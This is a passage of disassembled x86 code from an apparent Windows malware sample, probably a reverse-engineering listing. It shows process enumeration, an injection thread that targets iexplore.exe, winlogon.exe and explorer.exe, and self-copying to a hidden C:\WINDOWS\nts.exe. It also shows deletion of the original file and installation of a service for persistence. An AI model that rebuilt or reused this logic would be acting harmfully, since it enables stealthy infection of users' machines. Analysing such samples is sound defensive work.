jz short loc_4063F2
push edi
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
jmp short loc_40641B
; ---------------------------------------------------------------------------
loc_4063F2: ; CODE XREF: sub_40637D+67j
push edi
call dword_411CF8 ; CloseHandle
xor eax, eax
jmp short loc_40641B
; ---------------------------------------------------------------------------
loc_4063FD: ; CODE XREF: sub_40637D+55j
lea eax, [ebp+var_128]
push eax
push edi
call sub_406CA8 ; Process32Next
test eax, eax
jnz short loc_4063CF
push edi
call dword_411CF8 ; CloseHandle
loc_406415: ; CODE XREF: sub_40637D+2Aj
test esi, esi
jnz short loc_4063A9
xor eax, eax
loc_40641B: ; CODE XREF: sub_40637D+39j
; sub_40637D+73j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40637D endp
; =============== S U B R O U T I N E =======================================
sub_406422 proc near ; CODE XREF: sub_406485+45p
; sub_406485+115p
push ebx
push dword_41296C
call dword_411D50 ; ResetEvent
push 0
push 0
push offset sub_405CF6
call sub_407910
add esp, 0Ch
mov ebx, eax
push 2710h
mov eax, ebx
push eax
call dword_411D34 ; WaitForSingleObject
test eax, eax
jz short loc_406477
push dword_41104C
call sub_4014C2
pop ecx
mov dword_41104C, 1
mov eax, ebx
push eax
call dword_411CF8 ; CloseHandle
xor eax, eax
jmp short loc_406483
; ---------------------------------------------------------------------------
loc_406477: ; CODE XREF: sub_406422+30j
mov eax, ebx
push eax
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
loc_406483: ; CODE XREF: sub_406422+53j
pop ebx
retn
sub_406422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406485 proc near ; DATA XREF: sub_406677+18o
; DMN1:00447610o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
call sub_4036F6
test eax, eax
jnz loc_40666B
call sub_403658
test eax, eax
jnz loc_40666B
call sub_406042
push dword_41296C
call dword_411D50 ; ResetEvent
push 3E8h
push dword_41296C
call dword_411D34 ; WaitForSingleObject
call sub_406422
test eax, eax
jz short loc_406503
push 3E8h
call dword_411D00 ; Sleep
push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"...
call nullsub_2
pop ecx
push 0FFFFFFFFh
push dword_41296C
call dword_411D34 ; WaitForSingleObject
push dword_41296C
call dword_411D50 ; ResetEvent
loc_406503: ; CODE XREF: sub_406485+4Cj
and [ebp+var_C], 0
mov [ebp+var_8], 4
mov esi, [ebp+var_C]
loc_406511: ; CODE XREF: sub_406485+1BAj
push dword_41296C
call dword_411D50 ; ResetEvent
cmp esi, 2
ja short loc_40654D
test esi, esi
jz short loc_406532
cmp esi, 1
jz short loc_40653B
cmp esi, 2
jz short loc_406544
jmp short loc_406551
; ---------------------------------------------------------------------------
loc_406532: ; CODE XREF: sub_406485+9Fj
mov [ebp+var_4], offset aIexplore_exe ; "iexplore.exe"
jmp short loc_406551
; ---------------------------------------------------------------------------
loc_40653B: ; CODE XREF: sub_406485+A4j
mov [ebp+var_4], offset aWinlogon_exe ; "winlogon.exe"
jmp short loc_406551
; ---------------------------------------------------------------------------
loc_406544: ; CODE XREF: sub_406485+A9j
mov [ebp+var_4], offset aExplorer_exe ; "explorer.exe"
jmp short loc_406551
; ---------------------------------------------------------------------------
loc_40654D: ; CODE XREF: sub_406485+9Bj
and [ebp+var_4], 0
loc_406551: ; CODE XREF: sub_406485+ABj
; sub_406485+B4j ...
call sub_405EFE
test eax, eax
jz loc_406645
cmp esi, 2
ja short loc_406576
push offset dword_412970
push [ebp+var_4]
call sub_4062AE
pop ecx
pop ecx
mov ebx, eax
jmp short loc_406591
; ---------------------------------------------------------------------------
loc_406576: ; CODE XREF: sub_406485+DCj
mov edi, 64h
loc_40657B: ; CODE XREF: sub_406485+10Aj
push offset dword_412970
call sub_40637D
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_406591
dec edi
test edi, edi
jg short loc_40657B
loc_406591: ; CODE XREF: sub_406485+EFj
; sub_406485+105j
inc esi
test ebx, ebx
jz loc_406618
call sub_406422
test eax, eax
jz short loc_406618
push 3E8h
call dword_411D00 ; Sleep
push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
call nullsub_2
pop ecx
jmp short loc_4065C8
; ---------------------------------------------------------------------------
loc_4065BB: ; CODE XREF: sub_406485+159j
call sub_403658
test eax, eax
jnz loc_40666B
loc_4065C8: ; CODE XREF: sub_406485+134j
push 2BCh
push dword_41296C
call dword_411D34 ; WaitForSingleObject
cmp eax, 102h
jz short loc_4065BB
push dword_41296C
call dword_411D50 ; ResetEvent
mov esi, [ebp+var_C]
call sub_403658
test eax, eax
jz short loc_40660D
push offset aDying ; "dying\n"
call nullsub_2
pop ecx
push 1
call sub_4079E0
pop ecx
jmp short loc_40666B
; ---------------------------------------------------------------------------
loc_40660D: ; CODE XREF: sub_406485+171j
push offset aDllStopped___ ; "DLL stopped...\n"
call nullsub_2
pop ecx
loc_406618: ; CODE XREF: sub_406485+10Fj
; sub_406485+11Cj
call sub_4036F6
test eax, eax
jnz short loc_40666B
cmp dword_411050, 0
jz short loc_40663C
push offset dword_412970
call sub_407A90
pop ecx
and dword_411050, 0
loc_40663C: ; CODE XREF: sub_406485+1A3j
cmp esi, [ebp+var_8]
jle loc_406511
loc_406645: ; CODE XREF: sub_406485+D3j
push offset aInjectionthrea ; "InjectionThread complete\n"
call nullsub_2
pop ecx
cmp dword_411050, 0
jz short loc_40666B
push offset dword_412970
call sub_407A90
pop ecx
and dword_411050, 0
loc_40666B: ; CODE XREF: sub_406485+10j
; sub_406485+1Dj ...
call sub_4079A0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_406485 endp
; =============== S U B R O U T I N E =======================================
sub_406677 proc near ; DATA XREF: sub_405870+99o
; sub_4066F1+56Eo ...
push ebx
push 0
push 0
push 1
push 0
call dword_411D40 ; CreateEventA
mov dword_41296C, eax
push 0
push 0
push offset sub_406485
call sub_407910
add esp, 0Ch
mov ebx, eax
push 0FFFFFFFFh
mov eax, ebx
push eax
call dword_411D34 ; WaitForSingleObject
mov eax, ebx
push eax
call dword_411CF8 ; CloseHandle
push 0
push 0
push offset sub_40356A
call sub_407910
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
push 1F4h
call dword_411D00 ; Sleep
push 0
push 0
push offset sub_404967
call sub_407910
add esp, 0Ch
push 0FFFFFFFFh
push eax
call dword_411D34 ; WaitForSingleObject
pop ebx
retn
sub_406677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4066F1 proc near ; CODE XREF: sub_406C89+1p
var_2004 = byte ptr -2004h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 2004h
call sub_407730
push ebx
push esi
push edi
and [ebp+var_4], 0
xor esi, esi
mov off_412958, offset aNts ; "NTS"
call sub_40103C
call sub_401165
call sub_401097
push offset dword_413970
call dword_411CC8 ; InitializeCriticalSection
call sub_401F8E
mov dword_412934, eax
call dword_411D90 ; GetCommandLineA
push eax
call sub_40122A
pop ecx
cmp dword_411000, 4
jnz loc_40682F
push offset aUpdate_0 ; "*update"
push dword_4128A8
call dword_411D38 ; lstrcmpi
test eax, eax
jnz loc_40682F
call sub_403604
mov [ebp+var_8], eax
call sub_404162
mov eax, dword_411018
push eax
push [ebp+var_8]
push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
call nullsub_2
add esp, 0Ch
push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
call nullsub_2
pop ecx
push 1770h
call dword_411D00 ; Sleep
call sub_40506C
push 0FA0h
call dword_411D00 ; Sleep
call sub_40506C
call sub_403685
and [ebp+var_C], 0
push dword_4128A4
push dword_4128B0
push dword_4128AC
push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n"
call nullsub_2
add esp, 10h
lea eax, [ebp+var_C]
push eax
push 1
push 0
push dword_4128AC
call sub_403723
add esp, 10h
test eax, eax
jnz short loc_406828
push 0
push 1
push 0
push dword_4128B0
call sub_403723
add esp, 10h
test eax, eax
jnz short loc_406828
push 0
push 1
push 0
push dword_4128A4
call sub_403723
add esp, 10h
test eax, eax
jz short loc_40682F
loc_406828: ; CODE XREF: sub_4066F1+105j
; sub_4066F1+11Dj
xor eax, eax
jmp loc_406C82
; ---------------------------------------------------------------------------
loc_40682F: ; CODE XREF: sub_4066F1+58j
; sub_4066F1+71j ...
call sub_40410E
test eax, eax
jz short loc_40683F
xor eax, eax
jmp loc_406C82
; ---------------------------------------------------------------------------
loc_40683F: ; CODE XREF: sub_4066F1+145j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jz loc_406922
push offset aCopying___ ; "copying...\n"
call nullsub_2
pop ecx
push 80h
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
call dword_411D28 ; SetFileAttributesA
push 0
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D24 ; CopyFileA
test eax, eax
jz loc_406914
push 7
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
call dword_411D28 ; SetFileAttributesA
lea edi, [ebp+var_2004]
mov byte ptr [edi], 22h
inc edi
push dword_4128A4
push edi
call sub_407670
pop ecx
pop ecx
push dword_4128A4
call sub_407650
pop ecx
add edi, eax
mov byte ptr [edi], 22h
inc edi
mov byte ptr [edi], 0
inc edi
lea eax, [ebp+var_2004]
push eax
push offset aCmdlineS ; "cmdline: <%s>\n"
call nullsub_2
pop ecx
pop ecx
call sub_404162
lea eax, [ebp+var_2004]
push eax
call sub_405B2A
pop ecx
test eax, eax
jz short loc_4068F9
xor eax, eax
jmp loc_406C82
; ---------------------------------------------------------------------------
loc_4068F9: ; CODE XREF: sub_4066F1+1FFj
push offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
call nullsub_2
pop ecx
call sub_40410E
test eax, eax
jz short loc_40691F
xor eax, eax
jmp loc_406C82
; ---------------------------------------------------------------------------
loc_406914: ; CODE XREF: sub_4066F1+197j
push offset aCopyingFailed ; "copying failed %%-(\n"
call nullsub_2
pop ecx
loc_40691F: ; CODE XREF: sub_4066F1+21Aj
xor esi, esi
inc esi
loc_406922: ; CODE XREF: sub_4066F1+161j
call sub_402296
call sub_4057FF
push 0
push 0
call sub_4023DC
pop ecx
pop ecx
mov dword_411004, eax
push offset aInitializingWi ; "initializing winsock library...\n"
call nullsub_2
pop ecx
call sub_4012EC
cmp dword_411000, 1
jle loc_4069F3
mov eax, dword_4128A8
cmp byte ptr [eax], 2Ah
jz loc_4069F3
push 80h
push dword_4128A8
call dword_411D28 ; SetFileAttributesA
push dword_4128A8
call dword_411D4C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4069D7
push dword_4128A8
push offset aRemovingS ; "removing: <%s>\n"
call nullsub_2
pop ecx
pop ecx
mov edi, 0Ah
jmp short loc_4069D0
; ---------------------------------------------------------------------------
loc_4069A4: ; CODE XREF: sub_4066F1+2E4j
push 80h
push dword_4128A8
call dword_411D28 ; SetFileAttributesA
push dword_4128A8
call dword_411D18 ; DeleteFileA
test eax, eax
jnz short loc_4069D7
push 3E8h
call dword_411D00 ; Sleep
loc_4069D0: ; CODE XREF: sub_4066F1+2B1j
dec edi
mov eax, edi
test eax, eax
jnz short loc_4069A4
loc_4069D7: ; CODE XREF: sub_4066F1+298j
; sub_4066F1+2D2j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_4069F3
mov [ebp+var_4], 1
loc_4069F3: ; CODE XREF: sub_4066F1+262j
; sub_4066F1+270j ...
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_406A51
push offset asc_40E58D ; "**"
push dword_4128A8
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_406A51
push offset aWaiting___ ; "*** waiting...\n"
call nullsub_2
pop ecx
mov edi, 0Ah
loc_406A2D: ; CODE XREF: sub_4066F1+353j
call sub_404CB8
test eax, eax
jz short loc_406A46
push 1F4h
call dword_411D00 ; Sleep
dec edi
test edi, edi
jnz short loc_406A2D
loc_406A46: ; CODE XREF: sub_4066F1+343j
push offset aWaitingComplet ; "*** waiting complete...\n"
call nullsub_2
pop ecx
loc_406A51: ; CODE XREF: sub_4066F1+315j
; sub_4066F1+32Aj
call sub_404CB8
mov ebx, eax
test ebx, ebx
jnz short loc_406AAA
push offset aNoRegisteredSe ; "no registered service, "
call nullsub_2
pop ecx
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_406A93
mov [ebp+var_4], 1
push offset aRegisterItAndR ; "register it and restart\n"
call nullsub_2
pop ecx
jmp loc_406B34
; ---------------------------------------------------------------------------
loc_406A93: ; CODE XREF: sub_4066F1+389j
push offset aDonTRegisterIt ; "DON'T register it\n"
call nullsub_2
pop ecx
and [ebp+var_4], 0
xor esi, esi
inc esi
jmp loc_406B34
; ---------------------------------------------------------------------------
loc_406AAA: ; CODE XREF: sub_4066F1+369j
push offset aRegisteredServ ; "registered service is here...\n"
call nullsub_2
pop ecx
call sub_404D02
test eax, eax
jz short loc_406AC5
xor eax, eax
jmp loc_406C82
; ---------------------------------------------------------------------------
loc_406AC5: ; CODE XREF: sub_4066F1+3CBj
push offset aRegisteredSe_0 ; "registered service is not running.\n"
call nullsub_2
pop ecx
call sub_4040C3
test eax, eax
jnz short loc_406B34
push offset aInstallingServ ; "installing service, res="
call nullsub_2
pop ecx
call sub_404F2A
mov [ebp+var_8], eax
push [ebp+var_8]
push offset aI ; "%i\n"
call nullsub_2
pop ecx
pop ecx
call sub_4050B1
test eax, eax
jnz short loc_406B09
call sub_405187
loc_406B09: ; CODE XREF: sub_4066F1+411j
call sub_404162
push offset aStartingServic ; "starting service...\n"
call nullsub_2
pop ecx
call sub_404E56
test eax, eax
jz short loc_406B29
xor eax, eax
jmp loc_406C82
; ---------------------------------------------------------------------------
loc_406B29: ; CODE XREF: sub_4066F1+42Fj
push offset aRegisteredSe_1 ; "registered service is not running, unre"...
call nullsub_2
pop ecx
loc_406B34: ; CODE XREF: sub_4066F1+39Dj
; sub_4066F1+3B4j ...
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_406B75
cmp [ebp+var_4], 0
jz short loc_406B75
test ebx, ebx
jnz short loc_406B75
push offset aInstallingSe_0 ; "installing service...\n"
call nullsub_2
pop ecx
call sub_404F2A
test eax, eax
jz short loc_406B75
push offset aServiceInstall ; "service installed ok...\n"
call nullsub_2
pop ecx
xor ebx, ebx
inc ebx
loc_406B75: ; CODE XREF: sub_4066F1+456j
; sub_4066F1+45Cj ...
test ebx, ebx
jz short loc_406B82
call sub_4040C3
test eax, eax
jz short loc_406BAC
loc_406B82: ; CODE XREF: sub_4066F1+486j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_406BDC
push offset asc_40E58D ; "**"
push dword_4128A8
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_406BDC
loc_406BAC: ; CODE XREF: sub_4066F1+48Fj
push offset aStartingServic ; "starting service...\n"
call nullsub_2
pop ecx
call sub_404162
call sub_404E56
test eax, eax
jz short loc_406BCC
xor eax, eax
jmp loc_406C82
; ---------------------------------------------------------------------------
loc_406BCC: ; CODE XREF: sub_4066F1+4D2j
call sub_40410E
test eax, eax
jz short loc_406BDC
xor eax, eax
jmp loc_406C82
; ---------------------------------------------------------------------------
loc_406BDC: ; CODE XREF: sub_4066F1+4A4j
; sub_4066F1+4B9j ...
call sub_404CB8
test eax, eax
jz short loc_406C33
call sub_4040C3
test eax, eax
jz short loc_406C33
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push dword_4128A4
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_406C33
push offset asc_40E58D ; "**"
push dword_4128A8
call dword_411D38 ; lstrcmpi
test eax, eax
jz short loc_406C33
push offset aInitializingSe ; "initializing service startup sequence.."...
call nullsub_2
pop ecx
call sub_405AC9
test eax, eax
jz short loc_406C30
xor eax, eax
jmp short loc_406C82
; ---------------------------------------------------------------------------
loc_406C30: ; CODE XREF: sub_4066F1+539j
xor esi, esi
inc esi
loc_406C33: ; CODE XREF: sub_4066F1+4F2j
; sub_4066F1+4FBj ...
push offset aNotDaemonized_ ; "not daemonized...\n"
call nullsub_2
pop ecx
test esi, esi
jz short loc_406C4E
push dword_4128A4
call sub_405774
pop ecx
loc_406C4E: ; CODE XREF: sub_4066F1+54Fj
call sub_40410E
test eax, eax
jz short loc_406C5B
xor eax, eax
jmp short loc_406C82
; ---------------------------------------------------------------------------
loc_406C5B: ; CODE XREF: sub_4066F1+564j
push 0
push 0
push offset sub_406677
call sub_407910
add esp, 0Ch
push 0FFFFFFFFh
push eax
call dword_411D34 ; WaitForSingleObject
push offset dword_40E000
call nullsub_2
pop ecx
xor eax, eax
loc_406C82: ; CODE XREF: sub_4066F1+139j
; sub_4066F1+149j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4066F1 endp
; =============== S U B R O U T I N E =======================================
sub_406C89 proc near ; CODE XREF: sub_407AA0+C1p
push ebx
call sub_4066F1
mov ebx, eax
call sub_404162
mov eax, ebx
pop ebx
retn 10h
sub_406C89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406C9C proc near ; CODE XREF: sub_4062AE+1Bp
; sub_40637D+30p
jmp dword_411D84
sub_406C9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CA2 proc near ; CODE XREF: sub_4062AE+3Cp
; sub_40637D+4Dp
jmp dword_411D88
sub_406CA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CA8 proc near ; CODE XREF: sub_4062AE+B6p
; sub_40637D+88p
jmp dword_411D8C
sub_406CA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CAE proc near ; CODE XREF: sub_4012EC+1Ap
; sub_4012EC+34p
jmp dword_411E88
sub_406CAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CB4 proc near ; CODE XREF: DMN0:00401350p
jmp dword_411E8C
sub_406CB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CBA proc near ; CODE XREF: sub_401359+Bp
; DMN0:004013DDp ...
jmp dword_411E90
sub_406CBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CC0 proc near ; CODE XREF: sub_401359+36p
; sub_401359+53p ...
jmp dword_411E94
sub_406CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CC6 proc near ; CODE XREF: sub_4014C2+4p
; sub_402B02+152p ...
jmp dword_411E98
sub_406CC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CCC proc near ; CODE XREF: sub_4014CF+56p
jmp dword_411E9C
sub_406CCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CD2 proc near ; CODE XREF: sub_401542+11p
jmp dword_411EA0
sub_406CD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CD8 proc near ; CODE XREF: sub_401567+28p
; sub_4015B7+28p ...
jmp dword_411EA4
sub_406CD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CDE proc near ; CODE XREF: sub_401567+3Ap
jmp dword_411EA8
sub_406CDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CE4 proc near ; CODE XREF: sub_4015B7+3Ap
; sub_402B02+E5p ...
jmp dword_411EAC
sub_406CE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CEA proc near ; CODE XREF: sub_401607+8p
jmp dword_411EB0
sub_406CEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CF0 proc near ; CODE XREF: sub_401621+30p
; sub_40166C+3Fp
jmp dword_411EB4
sub_406CF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CF6 proc near ; CODE XREF: sub_40166C+5Fp
; DMN0:00401844p ...
jmp dword_411EB8
sub_406CF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406CFC proc near ; CODE XREF: sub_4016DC+17p
; sub_401713+18p ...
jmp dword_411EBC
sub_406CFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D02 proc near ; CODE XREF: sub_401787+17p
jmp dword_411EC0
sub_406D02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D08 proc near ; CODE XREF: sub_4017BE+8p
; sub_4025A9+EDp ...
jmp dword_411EC4
sub_406D08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D0E proc near ; CODE XREF: sub_4017BE+1Bp
jmp dword_411EC8
sub_406D0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D14 proc near ; CODE XREF: DMN0:00401827p
jmp dword_411ECC
sub_406D14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D1A proc near ; CODE XREF: DMN0:00401876p
jmp dword_411ED0
sub_406D1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D20 proc near ; CODE XREF: DMN0:00401897p
; sub_403113+5Cp ...
jmp dword_411ED4
sub_406D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D26 proc near ; CODE XREF: sub_402B02+142p
; sub_403113+FCp ...
jmp dword_411ED8
sub_406D26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D2C proc near ; CODE XREF: sub_402B02+1DBp
; sub_403113+16Dp ...
jmp dword_411EDC
sub_406D2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D32 proc near ; CODE XREF: sub_402B02+1E4p
; sub_403113+176p ...
jmp dword_411EE0
sub_406D32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_406D38 proc near ; CODE XREF: sub_4030A4+23p
; sub_4030A4+4Bp
jmp dword_411EE8
sub_406D38 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_406D40 proc near ; CODE XREF: sub_401048+15p
; DMN0:0040110Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov eax, [esp+8+arg_0]
mul [esp+8+arg_4]
mov esi, eax
push esi
call sub_4081A0
pop ecx
mov ebx, eax
test ebx, ebx
jz short loc_406D67
mov edx, ebx
mov ecx, esi
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
loc_406D67: ; CODE XREF: sub_406D40+17j
mov eax, ebx
pop esi
pop ebx
retn
sub_406D40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D70 proc near ; CODE XREF: sub_4070F0+59p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
or [ebp+var_C], 0FFFFFFFFh
mov ebx, [ebp+arg_0]
add ebx, 0FFFFFFFCh
test dword ptr [ebx], 80000000h
jnz short loc_406D9B
call sub_4083A0
mov dword ptr [eax], 16h
jmp loc_4070DD
; ---------------------------------------------------------------------------
loc_406D9B: ; CODE XREF: sub_406D70+19j
mov eax, [ebx]
mov edi, eax
and edi, 7FFFFFFFh
lea eax, [ebx-4]
mov [ebp+var_4], eax
lea ebx, [ebx+edi*4-4]
lea esi, [ebx+4]
test dword ptr [esi], 80000000h
jnz loc_406E4B
mov eax, [esi]
lea esi, [esi+eax*4-4]
mov eax, dword_4111E4
cmp [esi], eax
ja short loc_406E00
mov eax, dword_4111DC
cmp [esi], eax
ja short loc_406DE8
mov eax, dword_4111D8
cmp [esi], eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_406DFB
; ---------------------------------------------------------------------------
loc_406DE8: ; CODE XREF: sub_406D70+64j
mov eax, dword_4111E0
cmp [esi], eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_406DFB: ; CODE XREF: sub_406D70+76j
mov eax, [ebp+var_10]
jmp short loc_406E31
; ---------------------------------------------------------------------------
loc_406E00: ; CODE XREF: sub_406D70+5Bj
mov eax, dword_4111EC
cmp [esi], eax
ja short loc_406E1E
mov eax, dword_4111E8
cmp [esi], eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_406E31
; ---------------------------------------------------------------------------
loc_406E1E: ; CODE XREF: sub_406D70+97j
mov eax, dword_4111F0
cmp [esi], eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_406E31: ; CODE XREF: sub_406D70+8Ej
; sub_406D70+ACj
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [esi]
add edi, eax
mov [esi], edi
mov eax, edi
shl eax, 2
mov edx, esi
sub edx, eax
mov [edx+4], edi
mov ebx, esi
loc_406E4B: ; CODE XREF: sub_406D70+48j
mov eax, [ebp+var_4]
test dword ptr [eax], 80000000h
jnz loc_406F77
mov eax, [ebp+var_4]
mov edx, [eax]
add edi, edx
mov edx, dword_4111E4
cmp [eax], edx
ja short loc_406EAA
mov eax, [ebp+var_4]
mov edx, dword_4111DC
cmp [eax], edx
ja short loc_406E8E
mov eax, [ebp+var_4]
mov edx, dword_4111D8
cmp [eax], edx
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_406EA5
; ---------------------------------------------------------------------------
loc_406E8E: ; CODE XREF: sub_406D70+106j
mov eax, [ebp+var_4]
mov edx, dword_4111E0
cmp [eax], edx
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_406EA5: ; CODE XREF: sub_406D70+11Cj
mov eax, [ebp+var_10]
jmp short loc_406EE7
; ---------------------------------------------------------------------------
loc_406EAA: ; CODE XREF: sub_406D70+F9j
mov eax, [ebp+var_4]
mov edx, dword_4111EC
cmp [eax], edx
ja short loc_406ED0
mov eax, [ebp+var_4]
mov edx, dword_4111E8
cmp [eax], edx
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_406EE7
; ---------------------------------------------------------------------------
loc_406ED0: ; CODE XREF: sub_406D70+145j
mov eax, [ebp+var_4]
mov edx, dword_4111F0
cmp [eax], edx
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_406EE7: ; CODE XREF: sub_406D70+138j
; sub_406D70+15Ej
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
mov eax, [eax-4]
mov [ebp+var_14], eax
cmp eax, [ebp+var_4]
jnz short loc_406F32
mov eax, [ebp+var_8]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_8]
cmp dword_4111F8, eax
jnz short loc_406F69
jmp short loc_406F1C
; ---------------------------------------------------------------------------
loc_406F16: ; CODE XREF: sub_406D70+1BEj
inc dword_4111F8
loc_406F1C: ; CODE XREF: sub_406D70+1A4j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_406F30
cmp eax, 7
jl short loc_406F16
loc_406F30: ; CODE XREF: sub_406D70+1B9j
jmp short loc_406F69
; ---------------------------------------------------------------------------
loc_406F32: ; CODE XREF: sub_406D70+189j
mov eax, [ebp+var_4]
mov eax, [eax-8]
mov [ebp+var_18], eax
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
mov [edx-4], eax
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx-8], eax
mov eax, [ebp+var_8]
mov eax, dword_4111A8[eax*4]
cmp eax, [ebp+var_4]
jnz short loc_406F69
mov eax, [ebp+var_8]
mov edx, [ebp+var_18]
mov dword_4111A8[eax*4], edx
loc_406F69: ; CODE XREF: sub_406D70+1A2j
; sub_406D70:loc_406F30j ...
mov [ebx], edi
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], edi
loc_406F77: ; CODE XREF: sub_406D70+E4j
cmp edi, dword_4111E4
ja short loc_406FB1
cmp edi, dword_4111DC
ja short loc_406F99
mov eax, dword_4111D8
cmp edi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_406FAC
; ---------------------------------------------------------------------------
loc_406F99: ; CODE XREF: sub_406D70+215j
mov eax, dword_4111E0
cmp edi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_406FAC: ; CODE XREF: sub_406D70+227j
mov eax, [ebp+var_10]
jmp short loc_406FE1
; ---------------------------------------------------------------------------
loc_406FB1: ; CODE XREF: sub_406D70+20Dj
cmp edi, dword_4111EC
ja short loc_406FCE
mov eax, dword_4111E8
cmp edi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_406FE1
; ---------------------------------------------------------------------------
loc_406FCE: ; CODE XREF: sub_406D70+247j
mov eax, dword_4111F0
cmp edi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
